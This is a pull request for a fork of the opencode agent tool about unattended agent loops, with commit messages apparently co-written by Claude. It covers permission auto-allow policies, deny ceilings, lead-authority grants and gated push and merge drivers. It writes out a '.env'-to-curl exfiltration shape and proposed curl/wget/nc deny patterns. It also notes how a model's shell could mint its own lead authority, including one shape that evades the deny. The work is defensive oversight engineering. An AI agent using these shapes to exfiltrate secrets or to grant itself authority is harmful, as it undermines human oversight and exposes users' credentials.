Repository navigation
release: agents that keep working — lead authority, escalation ladder, idle-watch, scoped permissions, publish policy - #105
Merged
Merged
Conversation
Root cause: Permission.ask blocks on a Deferred with no timeout, and loop.ts never calls permission.reply anywhere. A comment at the create() call site already claimed the queue-mode permission overlay "marks the run unattended so it never stops to ask" — it didn't; QueueDenyRules is deny-only, bash-only, and queue-mode-only. So any loop iteration — prompt mode included — that hits an ask not already covered by an explicit allow (e.g. a role's own websearch: "ask") hung forever, unattended. Turning the loop off "fixed" it only because cancel() aborts the in-flight turn; nothing was ever answered. Per explicit instruction: a loop should never stop to ask, no exceptions. New session/unattended.ts tracks sessions with nobody to answer a prompt; Permission.ask auto-allows an "ask" for one (an explicit "deny" is untouched). loop.ts marks its session for every mode, not just queue, and unmarks on finalize/cancel. task.ts propagates the mark to subagents spawned under an unattended session, and unmarks on completion. QueueDenyRules' scope is untouched — this removes the hang, it does not relax or extend anything already an explicit deny. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…stale blockers A detected agent loop now injects a synthetic user message asking the model to change approach and continues; the terminal error only fires after LoopMaxSessionBreaks consecutive detections. /backlog exited immediately because .skein/blocker.md files written by earlier runs were permanent, so every later run resolved an empty queue and reported "completed". A new run now retries blockers the queue wrote itself (hand-written ones are kept), and a run that attempted nothing with blocked changes remaining ends as an error naming them. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
… escalation, done handoff, publish policy, review on done Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…p dependency on the Go skein Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…nt of the grant (D7) Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…nd the claims dependency Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Closed schema validated at load (scalar-for-mapping, unknown keys, expiry, dead pid, unsafe id, >24h lifetime all rejected), owner/mode-checked file read, and verifyLead comparing the authenticated sender to the grant. Mutation-checked: removing the pid check, the follow check or the mode check each fails a test. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…decar path Adds the lead directive frame to formatPeerMessage (only when the caller supplies a verdict), reads the grant fresh on every inbound message, and gates it behind experimental.follow_lead (off by default). The sender is the authenticated socket identity, never the message text. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…n-presence check set identifies the calling session by process ancestry and requires a native dialog or typed terminal confirmation. A smoke test showed a model's shell resolves to its own session, so the confirmation is the barrier, not the ancestry. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…Linux) Native dialog per platform with injected runner, display detection on Linux, text passed via env/args never spliced into scripts, Windows skips uid/mode checks and finds the parent process through CIM. Each branch unit-tested and mutation-checked. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Phase 1 of standing-publish-authority: the closed schema, the loader, and the never-list constant. Nothing consumes a grant yet; this only decides whether one exists. Loading fails closed. Every rejection returns "no grant" with one reason rather than a partially-applied policy, because a policy that still parses but has quietly stopped meaning anything reads as authorization. An absent file and an invalid file are deliberately indistinguishable to callers. Checks, each observed red before being believed: unknown key (closed schema), scalar for mapping, a branch pattern covering the default branch, a remote not pointing at the asserted repo, a visibility that disagrees with the forge, and an unreachable forge. The unreachable case is the one that matters most: treating "could not check" as "checked and fine" is the direction that fails open. The default branch is read from origin/HEAD rather than assumed, and the same matcher Permission.evaluate uses decides whether a pattern covers it, so this check and the eventual gate cannot disagree. Visibility is asked of the forge, never inferred from the remote URL. The loader is a pure function of injected dependencies; systemDeps is the only place that shells out, which is what lets each rejection be exercised without a repository or a network. Narrowed `*publish.ts*` to `*run*publish.ts*` / `*publish.ts*run*`. As written it also denied `git add` on any file with that name, which a standing grant makes permanent. QueueDenyRules still has the broad pattern; task 2.2 should decide whether it gets the same fix.
…eDenyRules false positive Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Three changes from review. Rejection reasons are now a closed set of named tokens (Reason) with the per-repository specifics in a separate `detail`. Phase 2 logs this in the session's line, and a log that can only be read by pattern-matching prose is a log nobody can alert on. Tests pin the token, not a substring. The default branch falls back from origin/HEAD to the current branch's upstream, so a clone that never ran `remote set-head` still resolves. An upstream of origin/feature/x is refused rather than reduced to "feature", because that would name a branch that is not the default one. If neither resolves, load denies: guessing is what a standing grant must not rest on. The live gh test found a bug the injected tests structurally could not. `gh repo view --json visibility` answers "PUBLIC", while a policy file reads `visibility: public`, so every real policy reported a visibility mismatch and the grant could never have applied. The reported value is now lower-cased at the boundary, keeping the schema strict. The live tests are behind PUBLISH_POLICY_LIVE=1 since they need network and credentials. Verified in both modes: 18 pass live, 16 pass and 2 skipped offline. All eight rejection mutations re-confirmed red.
The SDK loop defaults said noProgressLimit 10 while loop.ts said 15. Both the CLI and the TUI send the value explicitly, so the server's `?? DefaultNoProgressLimit` was unreachable in normal use and the stall guard fix never reached a real user. Add test/loop/loop-defaults.test.ts, which reads both files as text and asserts the defaults agree. The server cannot import the SDK, so the two copies can only be compared by reading them; the test throws on a partial match so a renamed or removed default fails rather than passing quietly. Verified by deliberately setting the SDK back to 10 and observing the guard turn red (4 pass / 2 fail) before restoring it.
…ding Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Ancestry cannot identify an opencode session (child-process sidecar, no session id in the shell env), so the user names it by exact id or pid. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Phase 2 of standing-publish-authority: deriveRules/sessionRules and the prompt section rendering, plus the `opencode lead set` shell deny. `Permission.evaluate` resolves with findLast, so the LAST matching rule decides. That single fact is what the rule ordering rests on, so sessionRules puts allows first and the never-list last, and the ordering is tested with commands that match BOTH an allow shape and a never-list entry — a command only the deny matches cannot tell you anything about layering. `git commit -m "docs: run publish.ts"` is the realistic case. The test is paired with its control: the same command under reversed layers must come back allow, or the deny verdicts were never coming from the order. deriveRules enforces that no emitted allow is driver-executed or never-list denied. It does so twice, by name and by asking the never-list, and on today's lists the two filters overlap, so neither is isolable by mutating it alone. That is stated in the code and the test rather than implied: the property is asserted once, and removing both filters turns it red. A second test pins the emitted set exactly, because a filter that removed everything would also satisfy the property while granting nothing. The allows gate command shapes, not the branch the session is on. "Never commit to the default branch" cannot be a shell pattern and stays with the commit gate. Adds `*opencode*lead*set*` to the deny ceiling. Minting lead authority from a shell is self-confirming: the TUI asks the human, but a model's shell resolves to its own session. Six bypass shapes are denied. One is not: `echo lead | xargs opencode set` supplies the keyword at runtime, so it is recorded in the residual list — and unlike the other residuals, stripping credentials does not mitigate it, so the human-presence confirmation is what actually protects it. This deny is the second layer, not the only one. Left alone per your instruction: the `*publish.ts*` narrowing in QueueDenyRules remains an operator decision. 76 pass offline, 28 with PUBLISH_POLICY_LIVE=1, typecheck clean.
…real barrier Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Completes 2.1: the prompt section is applied, and the kimi ask-each-time clause is lifted, both only when a valid policy exists. The clause removal matters because that one sentence makes a durable grant impossible by construction — it asks for confirmation on every git mutation "even if the user has confirmed in earlier conversations", which no standing authorization can ever satisfy. It is matched as one exact sentence and removed from the string at runtime; kimi.txt on disk is unchanged, so the shipped prompt stays as authored and the removal stays conditional. Only that sentence goes: the surrounding rule the user wrote remains, so a grant does not widen into "commit whenever". The ungranted path is byte-for-byte unchanged, and that is tested rather than asserted — which immediately paid off. composeSystem first filtered only the outer array, so an empty base prompt survived and every ungranted session gained a leading newline. The pre-policy expression flattened before filtering; the test comparing both forms caught it. The section does not claim the branch ceiling is enforced on its behalf. The derived allows gate command shapes, and no shell pattern can see which branch is checked out, so the section tells the model to check the branch itself. Otherwise the prompt would promise safety the code cannot keep. `current()` caches on the policy file's mtime rather than per directory: the lookup shells out to gh and git, which has no place on the request hot path, but an edited policy should still take effect on the next request. InstanceState would also cache, but it needs a scoped layer and a grant lookup is not worth making this module a service. 83 pass offline, 35 with PUBLISH_POLICY_LIVE=1, and the whole session suite (499 tests) still passes.
Phase 3.1 and 3.2: what the commit and push paths decide before acting. Pure functions over repo state, not executors — Phase 4 wires them to real commands, and keeping the decision separate is what lets every refusal be tested without a repository or a remote. Each refusal carries a reason, because a driver that says no without saying why produces a log nobody can act on. mayCommit exists because the derived allow cannot do this job. That allow gates the command shape, and no shell pattern can see which branch is checked out, so the ceiling that matters most needed a gate. It re-checks the default branch even though the loader already rejects a policy naming it: the check that stops a commit should not depend on the loader having run. mayPush makes the way-of-working tracking rule mechanical. An upstream-less branch is the shape that publishes somewhere nobody intended, so it is refused rather than pushed and hoped for. The upstream's remote must also be the push target, and the upstream branch must match the granted push patterns even when the local branch does — where a push lands is not the same question as what is checked out. pushArgv returns an array and never a shell string, so a branch name cannot introduce a second command. stagesExplicitly refuses the unambiguous whole-tree forms. `git add .` and a bare `git add` are recorded as a residual instead: no wildcard separates them from `git add ./src/x.ts`, and denying the latter to catch the former would be a worse trade than naming the gap. Seven of eight mutations observed red first. The eighth did not, because my remote-grant test used an upstream pointing at `origin` while pushing to `fork`, so the upstream check refused anyway and the test passed for the wrong reason. It now uses a self-consistent ungranted remote, where only the grant check can be the thing refusing. 98 pass across the policy and authority suites, 499 in the session suite, typecheck clean. Not pushing, and stopping before 3.3 as instructed.
The cache was keyed on the policy file's mtime alone, which is not a sufficient key. The loader's verdict depends on facts outside that file — the forge's visibility, the remote's URL, origin/HEAD — so a repository flipped from private to public, or a remote repointed, left the mtime untouched and the cached grant kept applying. That is the "still parses but stopped meaning anything" failure this plan exists to prevent, reached through the very mechanism meant to avoid repeating work. Entries now carry a checkedAt and expire after 60s, so the full load re-runs periodically regardless of the file. Two things follow that are worth stating because they are easy to get backwards: an expired entry is re-loaded rather than trusted, and loadNow does no caching at all — the prompt path can afford a slightly stale instruction, a driver about to publish cannot. The overwrite-on-failure is a cost measure, not the safety mechanism. A mutation that skips it stayed green, because the stale entry's own checkedAt is already past the TTL and would be re-loaded anyway; safety comes from refusing to serve anything unverified. The comment now says that rather than claiming a guarantee the code does not depend on. cachedLoad takes injected dependencies so the cache can be driven against a fake clock. There is one implementation: current() is the production wrapper over it, not a parallel copy. Tests drive cachedLoad with TestClock, exercising the TTL boundary exactly instead of sleeping. Red first, as asked: against the mtime-only version, the visibility flip, the unreachable forge and the repointed remote all fail. Also documents in drivers.ts that callers must pass loadNow, never current. 104 pass across the policy and authority suites, 56 with PUBLISH_POLICY_LIVE=1, typecheck clean.
fork:verify refuses a push that adds fork files without declaring them,
which is the hook working as intended: the manifest is the inventory of
what this fork adds on top of upstream, and an undeclared addition is
exactly what it exists to catch.
owned, for the new files:
src/policy/{publish,drivers}.ts
test/policy/{publish,drivers,cache}.test.ts
test/loop/loop-defaults.test.ts
patched, for the upstream files this branch edits:
src/session/llm/request.ts — injects the standing authorization, and only
when a policy grants
AUTOMATION_FEATURES.md — the documented no-progress default
sdk/js/src/v2/loop-args.ts — the SDK copy of the loop defaults
Each carries a note saying why, so the entry explains the constraint rather
than just naming the file.
fork:verify refuses a push that adds fork files without declaring them. owned: test/loop/loop-defaults.test.ts patched: AUTOMATION_FEATURES.md, sdk/js/src/v2/loop-args.ts Both notes record why the guard exists: the SDK copy of the loop defaults drifted from the server copy, and because both front ends send the value explicitly the server fallback was unreachable, so the stall fix never reached a real user. The test is what keeps them in step now.
…nd merge target Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…ction loop-done-handoff 0.3. The rule existed inline at two entry points with one difference between them: the prompt-to-queue transition excludes the loop that is asking, because at that moment it is itself the live loop for the directory. An invariant written twice with a subtle difference is one refactor away from being wrong in a way nothing covers, so the difference becomes a parameter. `activeQueueOver(directory, exceptID)`. Behaviour is unchanged and the existing tests stayed green — but checking that turned up something the task did not ask for. Two of the rule's three predicates are covered; `!isTerminal(status)` is not. Breaking it so a finished loop still counts as active left the whole loop suite green, so a directory could be permanently unusable after its first queue run while the guard that protects the cursor silently did double duty as the thing that kills the driver. Added the missing case: a finished queue loop must not keep blocking its directory. Observed red against the broken predicate first. Two of my own mutations during this were faulty and I only caught them by re-reading the output. One segfaulted Bun, which my harness reported as "no result" and I nearly read as "no failures"; the other was a no-op, because I appended `&&` to an expression I meant to change. A third run mis-parsed "1 fail" as "1fail" and called a red result green. Re-run with correct parsing: mode predicate red, exceptID red, terminal predicate red once the new test exists.
…re its files index.ts stays identical to upstream; the new command and its tests are declared as owned in the fork manifest. fork:verify: 232/232 owned, 112/112 patched, 0 unregistered. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…lename Four decisions from our user, confirmed directly rather than relayed. Rename. src/policy/publish.ts becomes publish-policy.ts. The never-list keeps `*publish.ts*` byte-identical to QueueDenyRules, so no standing deny was weakened and the false positive disappears because the module is named differently, not because the rule got softer. Granted sessions may push in-shell. deriveRules now emits one allow per granted remote/branch pair — `git push origin loop/*`, anchored, no room for flags — because a granted session keeps its credentials. This inverts the layering, and the ordering is now the whole mechanism: 1 never-list denies (including *git*push*) 2 granted allows 3 force-rewrite denies Layer 2 must follow layer 1 or a push grant is unreachable, which was the old situation. Layer 3 must come last so `git push origin loop/x --force` loses even though it matches a granted push. That third layer is why force denies are their own list rather than folded into the never-list. A control test asserts that moving layer 3 earlier turns a forced push back into an allow, so the denials are demonstrably coming from the order. Merge stays out of the shell, withheld for evidence rather than credentials: it needs gates, a recorded verdict for the exact head SHA, and CI. No allow is emitted for it even when `merge.into` is `*`. Merge driver (3.3), built and enabled rather than shipped disabled. It requires a verdict whose sha equals the head being merged, stops on an empty merge-base, checks only the evidence kinds the policy lists, and emits argv with no --no-verify and no fast-forward flag. Until #102 records verdicts it will refuse every merge — that is gating on evidence, not a disabled flag, and the distinction was the point. `-f` needed its own pattern: `*git push*-f*`, because a bare `*-f*` would deny a large fraction of all commands. Known false positive is `git push --follow-tags`, recorded rather than left to be found. I dropped a `+refs` deny entry I had added: the anchored allow already refuses a +refspec push, so the entry was indistinguishable from the anchoring in any test. The test now pins the anchoring itself, which is the property that would actually reopen the gap. Also: `current()` takes `now` as a parameter instead of reading the Clock service. Reading Clock widened `prepare`'s context for every caller, which surfaced as a type error in an unrelated test; passing the time is simpler and makes the TTL exactly controllable without a test-clock layer. Observed red before green: five ordering/allow mutations and six merge-gate mutations, each confirmed to fail first. 116 pass across the policy and authority suites, 68 with PUBLISH_POLICY_LIVE=1, typecheck clean. The intermittent `preserves metadata after tool-call transition` failures in test/session are pre-existing: reproduced on a worktree with none of this work, 2 failures then 1 across four runs.
The send_peer_message guidance ended 'say that to your own user rather than asking the peer again'. With 'send once' that taught agents to message a peer once and hand the blocker to the human. It now says: keep working, ask the lead once, record the blocker, and go to the user only for what needs a human. Every anti-storm rule is kept and pinned by a test. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Finishes the push side. A driver-executed push never passes through Permission.evaluate, so the shell patterns that refuse `git push origin loop/x:dev` do not apply to it — the argv has to be safe on its own terms. Three checks, because they answer questions the others cannot: 1. is the remote NAME well formed, so it cannot be read as an option 2. is the branch NAME well formed, so the refspec cannot be split 3. is the refspec's DESTINATION inside the grant and `--` ends option parsing, so a value that slipped past a name check is still read as positional. I checked what the pre-existing push argv actually did before changing it, rather than assuming the merge driver's bug applied here too. It does not: `git push -s origin loop/x` errors out with a usage dump and leaves the remote untouched, and a colon refspec is rejected outright. So the old pushArgv was fragile but not exploitable in the way mergeArgv was — this module makes it explicitly safe instead of accidentally safe. New file rather than an edit to src/policy/drivers.ts, which another session is reviewing. pushArgv and mayPush remain there; this module does not touch them. Real git, scratch bare remotes, behind PUBLISH_POLICY_GIT=1: an allowed push advances only the granted branch and leaves the default branch where it was; a refused push runs nothing and leaves the remote's refs identical; and the argv this module builds is one real git accepts with exit 0. That last one exists because the merge driver's argv was `git merge --no-edit squash dev <sha>`, which real git rejects and no test ran. Mutation notes, since two checks would otherwise look load-bearing when they are not. The remote NAME check is masked by the remote grant check — a policy cannot grant `-s` — until you write a policy that grants a malformed remote, which is exactly the typo case it defends, so there is a test for that. The destination check and the branch grant check mask each other for this argv, because the refspec is derived from `branch` and so asks the same question twice; the comment says so and gives the change that would separate them. 272 pass across test/policy and test/loop, typecheck clean.
…the ladder, not silence classifyStop reads the closing paragraph of a turn (precision first: summaries and answered questions are not stops) and the next prompt, in both prompt and queue mode, tells the model to decide from the specs, ask the lead once, record a blocker, and use the user only for what needs a human. Mutation-checked and proved end to end: removing the loop.ts wiring turns the loop test red. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
The old driver produced 'git merge --no-edit squash dev <sha>', which git rejects, and only compared that string in tests. A head starting with '-' was read as a git option. merge.by was never checked and gates/CI evidence was not tied to the head. Now: an executor that merges onto the fetched remote tip in a throwaway worktree, with a lock, full 40-char SHAs and validated ref names, evidence bound to the exact head, a refusal when the target has moved (so the published tree equals the reviewed tree, asserted), a no-force push from the real checkout so the repository's pre-push hook runs, and rebase refused. 31 real-git tests; every guard mutation-checked. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…d lessons Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
… an explicit choice An unattended /loop session used to auto-allow EVERY undecided permission ask, which removed the human from all of a loop's decisions. Now: - scoped (default): allow a closed in-project list (bash, read, edit, glob, grep, lsp, todowrite, task, skill, doom_loop); refuse external_directory, web, plan mode and MCP with a reason the model can act on instead of hanging; experimental.unattended_allow opens named permissions. - full: allow every undecided ask (full auto); also implied by auto_mode. - off: leave the question for a human. An explicit deny always wins. Subagents inherit the parent's policy. Mutation-checked; subagent inheritance in task.ts is not covered by a test. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
queueFingerprint reads tasks.md, .skein/blocker.md and .openspec.yaml of every candidate from the working tree (no git). Idle-watch re-resolves the queue when it moves, or when the capped backoff expires, so an idle agent does not run the per-change resolve on every poll. No cost today in the release build (resolveQueue does not shell out here); this protects the branch-aware reader when it lands. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…ement Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
… not idle Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…nly prompt-mode ones session/tools.ts skipped the permission question entirely for any queue session (the push-deny ceiling) and for global auto mode BEFORE Permission.ask, so the scoped policy was never consulted for the main swarm mode: queue loops still auto-allowed everything not denied, including reads outside the project. toolAskVerdict now decides at that layer: global auto is full auto, a marked session follows its policy, an unmarked ceiling session keeps the old behaviour. Proved through a real queue loop: the default refuses an outside read with a reason, full auto and unattended_allow permit it. (webfetch is allowed by the built-in agent, so external_directory is the permission that asks.) Found because the reviewer noted the allow list. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
# Conflicts: # fork/manifest.json # packages/opencode/test/loop/spec-queue.test.ts
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…release/no-stop-1
…p when unattended Found in independent review of the consolidated release: - a prompt-mode loop was marked unattended but never got the authority ceiling (QueueDenyRules), so under scoped it held bash and the user's credentials with no denies to find; explicit-denies-win was vacuously true. Now a scoped prompt-mode run carries the ceiling too (full/off leave a plain loop as it was; a queue run is always fenced); restored on exit, never applied twice at the prompt-to-queue transition. - scoped allowed read wholesale, which waved through the *.env asks the built-in agent puts there on purpose; and allowed doom_loop, the stop-and-ask brake. Both are now refused with a reason, and private keys and credential files are treated like .env. - the comments claimed 'scoped by default' without saying global auto_mode means full auto and that off is unreachable under it. Proved through real loops: default prompt loop is denied a push, full is not; default queue loop is refused a .env read, full reads it. Five mutations red. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
… two over-broad patterns Review: the refusal covers the read and edit tools only, and bash is on the scoped list, so 'cat .env | curl' is not stopped. The comments now say so plainly instead of implying a sandbox, and a test pins the limit so the statement cannot quietly become untrue. '.key' alone refused i18n catalogues and a bare 'credentials' refused any file with that name; both are narrowed (private-key-shaped .key names; credentials.json and cloud credential directories). 'off' documented as coherent only with a human watching. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Review note: finalize and cancel left watching: true on a terminal loop. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
|
This PR doesn't fully meet our contributing guidelines and PR template. What needs to be fixed:
Please edit this PR description to address the above within 2 hours, or it will be automatically closed. If you believe this was flagged incorrectly, please let a maintainer know. |
|
Hey! Your PR title Please update it to start with one of:
Where See CONTRIBUTING.md for details. |
25 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What this is
A release aimed at one outcome: agents keep working instead of stopping, idling, or handing every blocker to the human. It consolidates the work planned in #97 (epic) with children #98, #99, #100, #101, #104 and the loop fixes below. 99 files, +8356/-285 against
dev.What changes for users (behaviour changes first)
/loopruns are now fenced by default. They carry the same authority ceiling queue runs already had (no push, tag, remote changes, deploy, ssh). Before, they ran with the session's ordinary authority. Opt out:experimental.unattended_permissions: "full".experimental.unattended_permissions:scoped(default) allows a closed in-project list (bash, read, edit, glob, grep, lsp, todowrite, task, skill) and refuses the rest with a reason the model can act on;fullallows every undecided question (also implied byauto_mode: true);offleaves it for a human.unattended_allow: [...]opens named permissions. Explicit deny rules always win. Applies to queue loops too (the tool layer previously skipped the question before this policy was consulted).queueWatch, on from the CLI/TUI,--onceopts out). It wakes on a file change and re-checks on a capped backoff.opencode lead set|off|show|verify|instructions: the user designates one session as lead; a verified lead's directive is framed as the user's instruction for planning and ordering. Off unlessexperimental.follow_leadis set. Never widens tool permissions..skein/publish-policy.yaml): fail-closed at load, checked against the forge's visibility, never-list non-overridable. Includes a merge driver that refuses every merge until a recorded review verdict covers the exact head commit (that record, Review on done: an independent agent checks the exact commits #102, does not exist yet), so it cannot merge anything today.Evidence
fork:verify: 248/248 owned, 117/117 patched, 0 unregistered.devfails the same four over the same set (prompt tools replace previous prompt tool rules, twopreserves metadata after tool-call transitiontests,tui thread > routes attached sessions to mini mode). The first is order-dependent: it passes in isolation.git push, full is not; a default queue loop is refused a.envread and an outside-project read, full reads them; the merge driver runs against bare remotes. Guards were mutation-checked (each turns a test red when removed).Known limits and one open decision
readandedittools only.bashis allowed in scoped mode, socat .env | curl -d @- <url>is not stopped. The ceiling fences publishing, not exfiltration. This is stated in the code and pinned by a test. Options: add exfiltration shapes to the ceiling (*curl*,*wget*,*nc *,printenv*|*), or deny bash for scoped runs. Needs a decision..env, outside directories) by refusing them.offis only coherent with a human watching.task.tsis not covered by a test.devworkflowspublishanddeploytrigger on pushes todev; the fork has no secrets and the publish jobs are guarded to the upstream repository, so merging does not release anything.Rollback
Every change is additive behind
experimental.*keys except the prompt-mode fence and the scoped default, whichunattended_permissions: "full"reverts for loops. Revert the merge commit to remove everything.🤖 Generated with Claude Code